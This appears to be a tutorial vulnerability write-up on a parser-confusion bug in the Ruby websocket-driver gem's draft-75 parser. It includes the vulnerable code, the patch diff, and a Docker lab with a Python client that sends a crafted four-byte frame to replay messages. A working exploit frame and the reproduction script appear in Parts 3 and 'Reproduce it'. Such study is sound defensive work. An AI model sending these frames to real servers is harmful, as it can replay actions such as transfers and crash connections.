A browser wants to hear from a server the moment something happens: a new chat line, a price change, a job that finished. It cannot wait for the server to speak, because on the web the browser asks and the server answers. The WebSocket protocol removes that limit. After one upgrade request, both sides can write to the same connection whenever they like.
Definition: WebSocket is a long-lived connection where a client and a server exchange small pieces of data, called frames, in both directions.
websocket-driver is the code that speaks that protocol for programs written in Ruby, a programming language. It is published as a gem, the Ruby name for a library that a program installs and loads. A server program hands each WebSocket connection to websocket-driver. The library reads the frames on the wire and hands each complete message to the program. It powers, among others, the Faye publish-and-subscribe messaging server, which pushes updates to many clients at once.
So the people who should care run Ruby services that talk WebSocket: chat and notification servers, live dashboards, anything that pushes. They trust the library to turn bytes into messages. This bug is in that step.
The old dialect that still answers
The WebSocket standard is RFC 6455, published in 2011. RFC stands for Request for Comments, the name of the documents that define internet standards. Before it, there were draft versions of the protocol. websocket-driver still accepts two of them, named draft-75 and draft-76 after early drafts written by Ian Hickson. Any client that asks for one of those gets it, in every release before the fix.
That old code is small, and it is where the bug lives. To follow it we need three words:
- A byte is one unit of data, 8 bits, written here as two hexadecimal (base-16) digits such as
0x00. - A frame is one unit on the wire: a few bytes with a fixed meaning.
- A parser is the code that reads bytes one at a time and decides what each one means.
Draft-75 has two kinds of frame:
00A text message starts74 72 …The text itselfFFThe text message ends80 LLA binary block starts, LL bytes longLL gives the number of bytes in the binary block. The server skips them.
00 and FF, and a counted block of binary data.A text message begins with 0x00, holds its text, and ends with 0xFF. A binary block begins with a byte whose top bit is set, then a byte that gives its length, then that many bytes. The top bit of the first byte tells the two apart.
Here is the road a message takes in a healthy server:
Writes bytes to the socket
Reads the bytes as frames
Rebuilds each message
Acts on each message once
The lesson to hold on to is in that last box. The application does not read the wire. It gets exactly the messages the parser hands over, and it trusts that count.
Note: the bug only exists in the draft-75 and draft-76 code. Connections that use the modern standard take another path and are not affected.
Check yourself: you should now be able to look at 00 41 42 FF and say "one text message, AB", and at 80 02 41 42 and say "one binary block, skipped". Next we look at how the people who maintain the library found that the parser mixes those two up.
Part 2 · How the bug was found
The library had passed its own tests for years. Then someone went through the draft-75 parser and asked what happens when a binary block contains a 0xFF. That is the byte that ends a text message, in a place where no text message is open.
Definition: this is a parser confusion: one piece of code reads the same byte with two meanings, and the wrong one wins.
The public record does not name an outside reporter. The CVE entry (Common Vulnerabilities and Exposures, the public list of named security bugs) filed under CVE-2026-140016 says the way the bug was discovered is unknown, and the advisory (the security notice, here a GHSA, or GitHub Security Advisory) lists no reporter. What the record does show is who wrote the fix: James Coglan, the maintainer of websocket-driver. He committed the parser fix on 15 November 2026 and a second hardening change the same day. The advisory went public on 17 November 2026, and the CVE entry was published on 30 November 2026.
- 15 Nov 2026Parser fix and the draft switch are committed
- 17 Nov 2026The advisory GHSA-pf93-24xc-xgxc goes public
- 30 Nov 2026CVE-2026-140016 is published
- 1 Dec 2026CISA marks it: public proof of concept exists
The CVE entry rates the bug 9.1 out of 10, "Critical", on CVSS, the Common Vulnerability Scoring System. The rating rests on four facts: anyone on the network can send it, no account is needed, nothing a user does is required, and the result hits both integrity and availability. Integrity, because a message can be delivered more times than it was sent. Availability, because a server can be made to fail.
It also tags the bug with two CWE entries, the Common Weakness Enumeration list of bug types. CWE-456 is "missing initialization of a variable". CWE-248 is "uncaught exception", an error the program did not plan for and cannot survive.
The parser fix comes with two new tests, and they are the whole bug in eleven lines:
it "handles length-prefixed frames containing 0xFF" do
driver.parse [0x80, 0x03, 0x48, 0xff, 0x6c].pack("C*")
expect(@message).to eq ""
end
it "handles length-prefixed frames containing 0xFF following another message" do
driver.parse [0x00, 0x41, 0x42, 0xff].pack("C*")
driver.parse [0x81, 0x02, 0xff, 0x00].pack("C*")
expect(@message).to eq "AB"
end
The first test sends a binary block holding a 0xFF and expects no message. The second sends the text AB, then the same kind of block, and expects the application to still have only AB. We will run that second test against a real server.
Note: on 1 December 2026 CISA, the US Cybersecurity and Infrastructure Security Agency, added its own assessment to the CVE entry. It marks exploitation as "poc", meaning a public proof of concept exists, and the bug as automatable.
Check yourself: you should now be able to say who fixed the bug and when, and why a 0xFF inside a binary block is the byte to watch. Next we send that byte to our own copy of the library and see what the application receives.
Part 3 · How we exploited it on our own copy
We want to see the bug at work, not in a test but through a real socket. So we built two copies of a small server, one on websocket-driver 0.8.2, the last broken release, and one on 0.9.0, the first fixed release. The two run the same application.
The application is an inbox. It does three things:
- it accepts a draft-75 handshake, which is the first exchange that turns a plain connection into a WebSocket;
- it writes every message the library hands it into a list, with a running number, and answers the sender with
recv <n>: <message>; - it shows that list at the address
/inbox.
Nothing else. So if a message appears twice in the list, the library handed it over twice.
We send four bytes that are not a message. Before we do, here is why they will work. The vulnerable code is in lib/websocket/driver/draft75.rb, in the method parse. The parser keeps a variable @stage, a number that says what it is doing. Stage 2 does two different jobs, chosen by another variable, @length:
when 2 then
if octet == 0xFF # line 58
@stage = 0
emit(:message, MessageEvent.new(Driver.encode(@buffer, Encoding::UTF_8))) # line 60
else
if @length
@skipped += 1
@stage = 0 if @skipped == @length
else
@buffer << octet
The untrusted byte, octet, comes straight from the socket. Line 58 asks if it is 0xFF. That question runs before the code looks at @length. So it runs for a byte inside a binary block too. When the answer is yes, line 60 delivers @buffer, the text of the message being built, to the application.
Two things go wrong there:
- The old text is delivered again. After a text message ends,
@bufferis not emptied. A0xFFin the next binary block hands that old text to the application a second time. - Nothing was ever set. If no text message came first,
@bufferwas never created. Line 60 passes an empty variable toencode, and Ruby stops with an error.
Now we send it, one change at a time. All steps below run on our copy of 0.8.2.
Step 1 · The handshake
We open a connection and ask for a WebSocket. The Upgrade: WebSocket line is what makes the server treat this as a draft-75 handshake.
GET /websocket HTTP/1.1
Host: 127.0.0.1:8080
Upgrade: WebSocket
Connection: Upgrade
The answer is a status 101, the code that means "switching protocols":
HTTP/1.1 101 Web Socket Protocol Handshake
Upgrade: WebSocket
Connection: Upgrade
WebSocket-Location: ws://127.0.0.1:8080/websocket
The library has picked a protocol and the connection is now a WebSocket.
Step 2 · An empty inbox
Before we send any message, we read the inbox. We do this to show that it starts empty.
GET /inbox HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:8080
User-Agent: Python-urllib/3.11
Connection: close
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 15
Connection: close
{"messages":[]}
The list is empty: {"messages":[]}. Any entry we see later came from our frames.
Step 3 · One text message
We send one draft-75 text message. It starts with 0x00, holds transfer: and a random tag, and ends with 0xFF.
\x00transfer:57e7825a2bef\xff
The application answers with its receipt:
\x00recv 1: transfer:57e7825a2bef\xff
The parser took the bytes between 0x00 and 0xFF and delivered them once.
00Text message starts
transfer:57e7825a2befThe text itself
FFText message ends
recv 1
Step 4 · A binary block instead of a text message
We change one thing: the frame we send. Instead of a text message, we send a binary block of two bytes whose first byte is 0xFF.
\x81\x02\xff\x00
This frame carries no text at all. Yet the answer is another receipt:
\x00recv 2: transfer:57e7825a2bef\xff
recv 2 holds the same tag as recv 1. We sent that text once. The application has now acted on it twice.
81Top bit set: a binary block starts
02Two bytes follow
FFRead as the end of a text messageLine 58 fires
00Second byte of the block
Here is the same path in slow motion:
0x81has its top bit set. The parser reads it as the start of a binary block.0x02says the block holds two bytes. The parser goes to stage 2 to skip them.0xFFarrives in stage 2. Line 58 asks "is this0xFF?" and says yes, without looking at@length. Line 60 delivers@buffer, which still holdstransfer:57e7825a2bef.
Step 5 · The proof in the inbox
We read the inbox again, with the same request as in step 2.
GET /inbox HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:8080
User-Agent: Python-urllib/3.11
Connection: close
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 96
Connection: close
{"messages":[{"seq":1,"data":"transfer:57e7825a2bef"},{"seq":2,"data":"transfer:57e7825a2bef"}]}
Two entries, numbered 1 and 2, with the same text. Here is what that page looks like in our browser:

A fresh run of our check, on a copy it had not seen before, reached the same verdict: 0.8.2 is vulnerable.
Step 6 · The same bytes on 0.9.0
Now we change only the library. Our copy of 0.9.0 runs the same application and receives the same bytes. The handshake is the same:
GET /websocket HTTP/1.1
Host: 127.0.0.1:8080
Upgrade: WebSocket
Connection: Upgrade
HTTP/1.1 101 Web Socket Protocol Handshake
Upgrade: WebSocket
Connection: Upgrade
WebSocket-Location: ws://127.0.0.1:8080/websocket
The text message is the same:
\x00transfer:ed8365312f51\xff
\x00recv 1: transfer:ed8365312f51\xff
Then comes the binary block:
\x81\x02\xff\x00
This time nothing comes back. Our client waited two seconds for an answer and got none.
The inbox, read with the same request as before, holds one entry:
GET /inbox HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:8080
User-Agent: Python-urllib/3.11
Connection: close
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 55
Connection: close
{"messages":[{"seq":1,"data":"transfer:ed8365312f51"}]}

The fresh check's verdict for 0.9.0 is "not vulnerable". Both copies answered every later request, so neither run broke the server.
Note: 0.9.0 refuses draft protocols by default. Our application turns them on with the option allow_drafts: true, so that the fixed parser receives the same handshake as the broken one. By our reading of the code, which we did not run, 0.9.0 without that option answers this handshake with status 400 and no frame reaches the parser.
The variant we do not ask you to send
The CVE entry says the bug can also crash the server. We tried that once on our own copy of 0.8.2. We sent the handshake and then a binary block holding 0xFF, with no text message before it. This is the path with no @buffer to deliver.
The connection was cut with no answer. The server's log showed uncaught NoMethodError: undefined method 'encoding' for nil, which is Ruby's way of saying that line 60 used a variable that was never set. The server process itself stayed up and the inbox kept answering, because our small application catches errors for each connection. A service without that guard would lose more.
We do not show that frame as a request to send. Its job is to break things.
Check yourself: you should now be able to explain why 81 02 FF 00 produces a second recv on 0.8.2 and silence on 0.9.0. Next we look at the patch that makes the silence.
Part 4 · How it was patched
The fix does not add a check for bad input. It removes the reason the confusion existed: one stage doing two jobs.
Definition: the patch splits stage 2 into two stages, so that skipping bytes and collecting text never share the same code.
Here is the change, from commit 20603e3 by James Coglan:
when 2 then
+ @skipped += 1
+ if @skipped == @length
+ @length = nil
+ @skipped = nil
+ @stage = 0
+ end
+
+ when 3 then
if octet == 0xFF
@stage = 0
emit(:message, MessageEvent.new(Driver.encode(@buffer, Encoding::UTF_8)))
else
- if @length
- @skipped += 1
- @stage = 0 if @skipped == @length
- else
- @buffer << octet
- return close if @buffer.size > @max_length
- end
+ @buffer << octet
+ return close if @buffer.size > @max_length
end
And one line lower down, where a text frame begins:
- @stage = 2
+ @stage = 3
After the patch:
- Stage 2 only counts. It skips one byte and, after
@lengthbytes, goes back to stage 0. It never looks at the byte's value. - Stage 3 only collects text. It is the only place that asks "is this
0xFF?" and the only place that delivers a message. It is reached only after a0x00.
81A binary block starts02Two bytes to skipFFends a text messageThe old text is delivered again
81A binary block starts02Two bytes to skipFFis one byte to skipNo message is delivered
That is the silence we saw in step 6. On 0.9.0 the 0xFF is skipped as the first byte of the block and the 0x00 as the second. The parser returns to stage 0 and waits. The application is never told anything.
A second lock on an old door
The same day brought a second commit, d215294. It adds the option allow_drafts to websocket-driver. From 0.9.0 on, the library refuses draft-75 and draft-76 handshakes unless the program sets allow_drafts: true. The README states the reason: this is off by default for security reasons.
This change does not repair the parser. It is a second lock. A program that never needs the drafts now keeps that code path closed.
| websocket-driver version | Draft protocols by default | Parser bug | Our check's verdict |
|---|---|---|---|
| Every release before 0.9.0, including 0.8.2 | Accepted | Present | 0.8.2: vulnerable |
| 0.9.0 and later | Refused, unless allow_drafts: true |
Fixed | 0.9.0: not vulnerable |
Note: the CVE entry gives the affected range as "below 0.9.0". Our lab ran the broken and the fixed releases named above. It did not run the releases between them.
What any application can take from it
- A parser should have one meaning per state. Stage 2 read a byte as "skip this" and as "end of message" at once. The fix gave each reading its own stage.
- Reset what you hand out.
@bufferwas delivered and then kept. A message that is handed over should be forgotten right after. - Set every variable before a path can use it.
@bufferhad no starting value, so the first path that reached line 60 without a text message raised an error. - Turn old protocols off. Code kept for old clients should be switched off until someone asks for it.
- Test the boundary values of every field. The two new tests in the fix send the one byte that means something else elsewhere.
Check yourself: you should now be able to read the diff and point to the line that moves the 0xFF check into its own stage. Next, you can run the whole thing yourself.
Reproduce it on your own copy
You need Docker. The gem builds a C extension, so the image is ruby:3.3, which has the compiler.
1. Build a copy of the broken release. Save this as Dockerfile in an empty folder:
FROM ruby:3.3
RUN gem install websocket-driver -v 0.8.2 --no-document
COPY app.rb /app/app.rb
EXPOSE 8080
CMD ["ruby", "/app/app.rb"]
2. Write the inbox application. Save this as app.rb beside it. It is a shorter form of the application we used. It turns draft protocols on, so the same file also runs on 0.9.0.
require 'socket'
require 'json'
require 'websocket/driver'
INBOX = []
SERVER = TCPServer.new('0.0.0.0', 8080)
loop do
Thread.start(SERVER.accept) do |socket|
head = +''
head << socket.readpartial(2048) until head.include?("\r\n\r\n")
request, _, rest = head.partition("\r\n\r\n")
if request =~ /^Upgrade: *WebSocket\r?$/i
begin
# 0.9.0 and later refuse draft protocols unless this is set.
driver = WebSocket::Driver.server(socket, :allow_drafts => true)
rescue WebSocket::Driver::ConfigurationError
driver = WebSocket::Driver.server(socket) # earlier releases have no such switch
end
driver.on(:message) do |event|
INBOX << event.data
driver.text("recv #{INBOX.size}: #{event.data}")
end
driver.on(:connect) { driver.start if WebSocket::Driver.websocket?(driver.env) }
driver.parse(request + "\r\n\r\n")
loop { driver.parse(socket.readpartial(4096)) }
else
socket.write("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nConnection: close\r\n\r\n" +
JSON.generate(INBOX))
end
rescue IOError, Errno::EPIPE, EOFError
nil
ensure
socket.close unless socket.closed?
end
end
3. Start it.
$ docker build -t wsd-lab:0.8.2 .
$ docker run -d --rm --name wsd-lab -p 127.0.0.1:8080:8080 wsd-lab:0.8.2
4. Save the client as client.py. It needs only Python 3.
import json, socket, sys, urllib.request
base = "http://127.0.0.1:8080"
marker = "transfer:demo"
def inbox():
return json.load(urllib.request.urlopen(base + "/inbox"))
s = socket.create_connection(("127.0.0.1", 8080), timeout=5)
s.settimeout(2)
s.sendall(b"GET /websocket HTTP/1.1\r\nHost: 127.0.0.1:8080\r\n"
b"Upgrade: WebSocket\r\nConnection: Upgrade\r\n\r\n")
print(s.recv(4096).split(b"\r\n")[0].decode())
s.sendall(b"\x00" + marker.encode() + b"\xff") # one text message
print(s.recv(4096))
s.sendall(b"\x81\x02\xff\x00") # the crafted frame
try:
print(s.recv(4096))
except socket.timeout:
print("no answer")
s.close()
print(inbox())
5. Run it against 0.8.2. We ran this exact script on a fresh copy of each release. On 0.8.2 it printed:
HTTP/1.1 101 Web Socket Protocol Handshake
b'\x00recv 1: transfer:demo\xff'
b'\x00recv 2: transfer:demo\xff'
['transfer:demo', 'transfer:demo']
The message was sent once and delivered twice.
6. Run it against 0.9.0. Change the version in the Dockerfile to 0.9.0, build, and start the new image. On 0.9.0 the same script printed:
HTTP/1.1 101 Web Socket Protocol Handshake
b'\x00recv 1: transfer:demo\xff'
no answer
['transfer:demo']
7. Stop the copy.
$ docker rm -f wsd-lab
Note: run each copy on its own, as we did. The inbox is one list for the whole server, so numbers from an earlier run stay in it.
Recap
- websocket-driver reads WebSocket frames for Ruby programs. Its old draft-75 parser served every client that asked for it, before 0.9.0.
- That parser used one stage both to skip binary blocks and to collect text. The
0xFFcheck ran first, whatever kind of frame the byte was in. - We sent one text message and then a four-byte binary block holding
0xFF. On 0.8.2 the application received the text twice. - With no text message before it, the same idea reaches line 60 with a variable that was never set, and the connection fails.
- On 0.9.0 the same bytes deliver nothing. The fix gives text its own stage, and drafts are off by default.
- The fix is in websocket-driver 0.9.0. Every earlier release is affected.
Sources: the advisory GHSA-pf93-24xc-xgxc, the parser fix, commit 20603e3, the allow_drafts option, commit d215294, and the 0.9.0 release.